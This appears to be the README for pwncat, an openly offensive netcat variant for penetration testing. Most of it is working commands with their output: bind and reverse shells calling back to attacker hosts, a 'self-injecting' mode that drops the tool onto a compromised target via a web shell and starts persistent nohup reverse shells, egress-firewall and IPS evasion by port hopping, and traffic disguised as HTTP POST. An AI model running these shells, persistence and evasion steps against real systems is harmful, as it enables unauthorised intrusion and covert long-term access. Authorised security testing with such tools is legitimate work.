pwncat – Netcat on Steroids with Firewall, IDS/IPS Evasion, Bind and Reverse Shell, Self-Injecting Shell and Port Forwarding Magic

pwncat

Deploy to target

# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > pwncat
chmod +x pwncat

Inject to target

# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

[1] Read in more detail about self-injection

Summon shells

# Bind shell (accepts new clients after disconnect)
pwncat -l -e '/bin/bash' 8080 -k
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

Port scan

# [TCP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080
pwncat -z 10.0.0.1 1-65535
pwncat -z 10.0.0.1 1+1023

# [UDP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080 -u
pwncat -z 10.0.0.1 1-65535 -u
pwncat -z 10.0.0.1 1+1023 -u

# Use only IPv6 or IPv4
pwncat -z 10.0.0.1 1-65535 -4
pwncat -z 10.0.0.1 1-65535 -6 -u

# Add version detection
pwncat -z 10.0.0.1 1-65535 --banner

Local port forward -L (listening proxy)

# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

Remote port forward -R (double client proxy)

# Connect to Remote MySQL server (remote port 3306) and then connect to another
# pwncat/netcat server on 10.0.0.1:4444 and bridge traffic
pwncat -R 10.0.0.1:4444 everythingcli.org 3306
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

SSH Tunnelling for fun and profit
pwncat example: Port forwarding magic

star Features

At a glance

pwncat has many features, below is only a list of outstanding characteristics.

FeatureDescription
PSEFully scriptable with Pwncat Scripting Engine to allow all kinds of fancy stuff on send and receive
port scanningTCP und UDP port scanning with basic version detection support
Self-injecting rshellSelf-injecting mode to deploy itself and start an unbreakable reverse shell back to you automatically
Bind shellCreate bind shells
Reverse shellCreate reverse shells
Port ForwardLocal and remote port forward (Proxy server/client)
Ctrl+cReverse shell can reconnect if you accidentally hit Ctrl+c
Detect EgressScan and report open egress ports on the target (port hopping)
Evade FWEvade egress firewalls by round-robin outgoing ports (port hopping)
Evade IPSEvade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts (port hopping)
UDP rev shellTry this with the traditional netcat
Stateful UDPStateful connect phase for UDP client mode
TCP / UDPFull TCP and UDP support
IPv4 / IPv6Dual or single stack IPv4 and IPv6 support
Python 2+3Works with Python 2, Python 3, pypy2 and pypy3
Cross OSWork on Linux, MacOS and Windows as long as Python is available
CompatabilityUse the netcat, ncat or socat as a client or server together with pwncat
PortableSingle file which only uses core packages – no external dependencies required.

Feature comparison matrix

pwncatnetcatncatsocat
Scripting engineheavy_check_mark Pythonxheavy_check_mark Luax
IP ToSheavy_check_markheavy_check_markxheavy_check_mark
IPv4heavy_check_markheavy_check_markheavy_check_markheavy_check_mark
IPv6heavy_check_markheavy_check_markheavy_check_markheavy_check_mark
Unix domain socketsxheavy_check_markheavy_check_markheavy_check_mark
Linux vsockxxheavy_check_markx
Socket source bindheavy_check_markheavy_check_markheavy_check_markheavy_check_mark
TCPheavy_check_markheavy_check_markheavy_check_markheavy_check_mark
UDPheavy_check_markheavy_check_markheavy_check_markheavy_check_mark
SCTPxxheavy_check_markheavy_check_mark
SSLxxheavy_check_markheavy_check_mark
HTTPheavy_check_markxxx
HTTPS*xxx
Telnet negotiationxheavy_check_markheavy_check_markx
Proxy supportxheavy_check_markheavy_check_markheavy_check_mark
Local port forwardheavy_check_markxxheavy_check_mark
Remote port forwardheavy_check_markxxx
Inbound port scanheavy_check_markheavy_check_markheavy_check_markx
Outbound port scanheavy_check_markxxx
Version detectionheavy_check_markxxx
Chatheavy_check_markheavy_check_markheavy_check_markheavy_check_mark
Command executionheavy_check_markheavy_check_markheavy_check_markheavy_check_mark
Hex dump*heavy_check_markheavy_check_markheavy_check_mark
Brokerxxheavy_check_markx
Simultaneous connsxxheavy_check_markheavy_check_mark
Allow/denyxxheavy_check_markheavy_check_mark
Re-acceptheavy_check_markheavy_check_markheavy_check_markheavy_check_mark
Self-injectingheavy_check_markxxx
UDP reverse shellheavy_check_markxxx
Respawning clientheavy_check_markxxx
Port hoppingheavy_check_markxxx
Emergency shutdownheavy_check_markxxx

* Feature is currently under development.

police_officer Behaviour

Like the original implementation of netcat, when using TCP, pwncat (in client and listen mode) will automatically quit, if the network connection has been terminated, properly or improperly. In case the remote peer does not terminate the connection, or in UDP mode, netcat and pwncat will stay open. The behaviour differs a bit when STDIN is closed.

  1. netcat: If STDIN is closed, but connection stays open, netcat will stay open
  2. pwncat: If STDIN is closed, but connection stays open, pwncat will close

You can emulate the netcat behaviour with --no-shutdown command line argument.

Have a look at the following commands to better understand this behaviour:

# [Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

# [Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80
# [TCP]
# Both instances will quit after successful file transfer.
pwncat -l 4444 > output.txt
pwncat localhost 4444 < input.txt

# [TCP]
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will quit as well.
pwncat -l 4444 --no-shutdown > output.txt
pwncat localhost 4444 --no-shutdown < input.txt

Be advised that it is not reliable to send files via UDP

# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt

There are many ways to alter this default behaviour. Have a look at the usage section for more advanced settings.

closed_book Documentation

Documentation will evolve over time.

computer Usage

Keys

Behaviour
Quit (SIGINT)Ctrl+cCtrl+cCtrl+c
Quit (SIGQUIT)Ctrl+\??
Quit (SIGQUIT)Ctrl+4??
Quit STDIN[1]Ctrl+dCtrl+dCtrl+z and Ctrl+Enter
Send (NL)Ctrl+j??
Send (EOL)Ctrl+m??
Send (EOL)EnterEnterEnter

[1] Only works when not using --no-shutdown and --keep. Will then shutdown it’s socket for sending, signaling the remote end and EOF on its socket.

Command line arguments

Type pwncat -h or click below to see all available options.Click here to expand usage

bulb Examples

Upgrade your shell to interactive

This is a universal advice and not only works with pwncat, but with all other common tools.

When connected with a reverse or bind shell you’ll notice that no interactive commands will work and hitting Ctrl+c will terminate your session. To fix this, you’ll need to attach it to a TTY (make it interactive). Here’s how:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z

# get your current terminal size (rows and columns)
stty size

# for bash/sh (enter raw mode and disable echo'ing)
stty raw -echo
fg

# for zsh (enter raw mode and disable echo'ing)
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm
stty rows <num> columns <cols>   # <num> and <cols> values found above by 'stty size'

[1] Reverse Shell Cheatsheet

UDP reverse shell

Without tricks a UDP reverse shell is not really possible. UDP is a stateless protocol compared to TCP and does not have a connect() method as TCP does. In TCP mode, the server will know the client IP and port, once the client issues a connects(). In UDP mode, as there is no connect(), the client simply sends data to an address/port without having to connect first. Therefore, in UDP mode, the server will not be able to know the IP and port of the client and hence, cannot send data to it first. The only way to make this possible is to have the client send some sort of data to the server first, so that the server can see what IP/port has sent data to it.

pwncat emulates the TCP connect() by having the client send a null byte to the server once or periodically via --ping-intvl or --ping-init.

# The client
# --exec            # Provide this executable
# --udp             # Use UDP mode
# --ping-init       # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444

Unbreakable TCP reverse shell

Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep trying to connect to the specified server until success. If the connection is interrupted, it will keep trying again.

# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# -reconn          # Automatically reconnect back to you indefinitely
# --reconn-wait     # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

Unbreakable UDP reverse shell

Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep sending null bytes to the server to constantly announce itself.

# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --ping-intvl      # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444

Self-injecting reverse shell

Let’s imagine you are able to create a very simple and unstable reverse shell from the target to your machine, such as a web shell via a PHP script or similar. Knowing, that this will not persist very long or might break due to unstable network connection, you could use pwncat to hook into this connection and deploy itself unbreakably on the target – fully automated.

View on Youtube

All you have to do, is use pwncat as your local listener and start it with the --self-inject switch. As soon as the client (e.g.: the reverse web shell) connects to it, it will do a couple of things:

  1. Enumerate Python availability and versions on the target
  2. Dump itself base64 encoded onto the target
  3. Use the target’s Python to decode itself.
  4. Use the target’s Python to start itself as an unbreakable reverse shell back to you

Once this is done, you can keep using the current connection or simply abandon it and start a new listener (yes, you don’t need to start the listener before starting the reverse shell) to have the new pwncat client connect to you. The new listener also doesn’t have to be pwncat, it can also be netcat or ncat.

The --self-inject switch:

pwncat -l 4444 --self-inject <cmd>:<host>:<port>
  • <cmd>: This is the command to start on the target (like -e/--exec, so you want it to be cmd.exe or /bin/bash)
  • <host>: This is for your local machine, the IP address to where the reverse shell shall connect back to
  • <port>: This is for your local machine, the port on which the reverse shell shall connect back to

So imagine your Kali machine is 10.0.0.1. You instruct your webshell that you inject onto a Linux server to connect to you at port 4444:

# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

You will then see something like this:

[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

And you are set. You can now start another listener locally at 4445 (again, it will connect back to you endlessly, so it is not required to start the listener first).

# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445

Unlimited self-injecting reverse shells

Instead of just asking for a single self-injecting reverse shell, you can instruct pwncat to spawn as many unbreakable reverse shells connecting back to you as you desire.

View on Youtube

The --self-inject argument allows you to not only define a single port, but also

  1. A comma separated list of ports: 4445,4446,4447,4448
  2. A range definition: 4446-4448
  3. An increment: 4445+3

In order to spawn 4 reverse shells you would start your listener just as described above, but instead of a single port, you define multiple:

# Comma separated
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

# Range
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

# Increment
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

Each of the above three commands will achieve the same behaviour: spawning 4 reverse shells inside the target. Once the client connects, the output will look something like this:

[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &

Logging

Note: Ensure you have a reverse shell that keeps coming back to you. This way you can always change your logging settings without loosing the shell.

Log level and redirection

If you feel like, you can start a listener in full TRACE logging mode to figure out what’s going on or simply to troubleshoot. Log message are colored depending on their severity. Colors are automatically turned off, if stderr is not a pty, e.g.: if piping those to a file. You can also manually disable colored logging for terminal outputs via the --color switch.

pwncat -vvvv -l 4444

You will see (among all the gibberish) a TRACE message:

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

As soon as you saw this on the listener, you can issue commands to the client. All the debug messages are also not necessary, so you can safely Ctrl+c terminate your server and start it again in silent mode:

pwncat -l 4444

Now wait a maximum a few seconds, depending at what interval the client comes back to you and voila, your session is now again without logs.

Having no info messages at all, is also sometimes not desirable. You might want to know what is going on behind the scences or? Safely Ctrl+c terminate your server and redirect the notifications to a logfile:

pwncat -l -vvv 4444 2> comm.txt

Now all you’ll see in your terminal session are the actual command inputs and outputs. If you want to see what’s going on behind the scene, open a second terminal window and tail the comm.txt file:

# View communication info
tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

Socket information

Another useful feature is to display currently configured socket and network settings. Use the --info switch with either socket, ipv4, ipv6, tcp or all to display all available settings.

Note: In order to view those settings, you must at least be at INFO log level (-vv).

An example output in IPv4/TCP mode without any custom settings is shown below:

INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0

Port forwarding magic

Local TCP port forwarding

Scenario

  1. Alice can be reached from the Outside (TCP/UDP)
  2. Bob can only be reached from Alice’s machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     TCP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat 72.0.0.1 3306     |      pwncat \                 |
                              |        -L 72.0.0.1:3306 \     |
                              |         10.0.0.1 3306         |

Local UDP port forwarding

Scenario

  1. Alice can be reached from the Outside (but only via UDP)
  2. Bob can only be reached from Alice’s machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

Remote TCP port forward

Scenario

  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (TCP/UDP)
  3. Bob can only be reached from Alice’s machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     TCP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -l 4444           |      pwncat --reconn \        |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Remote UDP port forward

Scenario

  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (UDP: DNS only)
  3. Bob can only be reached from Alice’s machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Outbound port hopping

If you have no idea what outbound ports are allowed from the target machine, you can instruct the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.

# Reverse shell on target (the client)
# --exec            # The command shell the client should provide
# --reconn          # Instruct it to reconnect endlessly
# --reconn-wait     # Reconnect every 0.1 seconds
# --reconn-robin    # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

Once the client is up and running, either use raw sockets to check for inbound traffic or use something like Wireshark or tcpdump to find out from where the client is able to connect back to you,

If you found one or more ports that the client is able to connect to you, simply start your listener locally and wait for it to come back.

pwncat -l <ip> <port>

If the client connects to you, you will have a working reverse shell. If you stop your local listening server accidentally or on purpose, the client will probe ports again until it connects successfully. In order to kill the reverse shell client, you can use --safe-word (when starting the client).

If none of this succeeds, you can add other measures such as using UDP or even wrapping your packets into higher level protocols, such as HTTP or others. See PSE or examples below for how to transform your traffic.

Pwncat Scripting Engine (PSE)

pwncat offers a Python based scripting engine to inject your custom code before sending and after receiving data.

How it works

You will simply need to provide a Python file with the following entrypoint function:

def transform(data, pse):
    # Example to reverse a string
    return data[::-1]

Both, the function name must be named transform and the parsed arguments must be named data and pse. Other than that you can add as much code as you like. Each instance of pwncat can take two scripts:

  1. --script-send: script will be applied before sending
  2. --script-recv: script will be applied after receiving

See here for API and more details

Example 1: Self-built asymmetric encryption

PSE: asym-enc source code

This will encrypt your traffic asymmetrically. It is just a very basic ROT13 implementation with different shift lengths on both sides to emulate asymmetry. You could do the same and implement GPG based asymmetric encryption for PSE.

# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-server_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-client_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py

Example 2: Self-built HTTP POST wrapper

PSE: http-post source code

This will wrap all traffic into a valid HTTP POST request, making it look like normal HTTP traffic.

# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

Port scanning

TCP

$ sudo netstat -tlpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address     State
tcp        0      0 127.0.0.1:631           0.0.0.0:*           LISTEN
tcp        0      0 127.0.0.1:25            0.0.0.0:*           LISTEN
tcp        0      0 127.0.0.1:4444          0.0.0.0:*           LISTEN
tcp        0      0 0.0.0.0:902             0.0.0.0:*           LISTEN
tcp6       0      0 ::1:631                 :::*                LISTEN
tcp6       0      0 ::1:25                  :::*                LISTEN
tcp6       0      0 ::1:4444                :::*                LISTEN
tcp6       0      0 :::1053                 :::*                LISTEN
tcp6       0      0 :::902                  :::*                LISTEN

UDP

The following UDP ports are exposing:

$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:39856           0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::1053                 :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::57728                :::*
nmap
$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST
Warning: 127.0.0.1 giving up on port because retransmission cap hit (2).
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000035s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 65529 closed ports
PORT      STATE         SERVICE
68/udp    open|filtered dhcpc
631/udp   open|filtered ipp
1053/udp  open|filtered remote-as
5353/udp  open|filtered zeroconf
39856/udp open|filtered unknown
40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real    2m52.446s
user    0m0.844s
sys     0m2.571s
netcat
$ time nc  -z localhost 1-65535  -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!

real    0m18.734s
user    0m1.004s
sys     0m2.634s
pwncat
$ time pwncat -z localhost 1-65535 -u -4
Scanning 65535 ports
[+]    68/UDP open   (IPv4)
[+]   631/UDP open   (IPv4)
[+]  1053/UDP open   (IPv4)
[+]  5353/UDP open   (IPv4)
[+] 39856/UDP open   (IPv4)

real    0m7.309s
user    0m6.465s
sys     0m4.794s

Download: https://github.com/cytopia/pwncat

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